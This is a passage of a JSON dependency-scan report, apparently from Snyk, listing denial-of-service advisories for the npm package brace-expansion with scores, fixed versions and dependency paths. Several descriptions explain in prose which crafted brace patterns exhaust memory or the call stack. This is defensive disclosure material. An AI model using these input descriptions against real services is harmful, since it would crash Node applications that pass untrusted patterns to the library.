"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
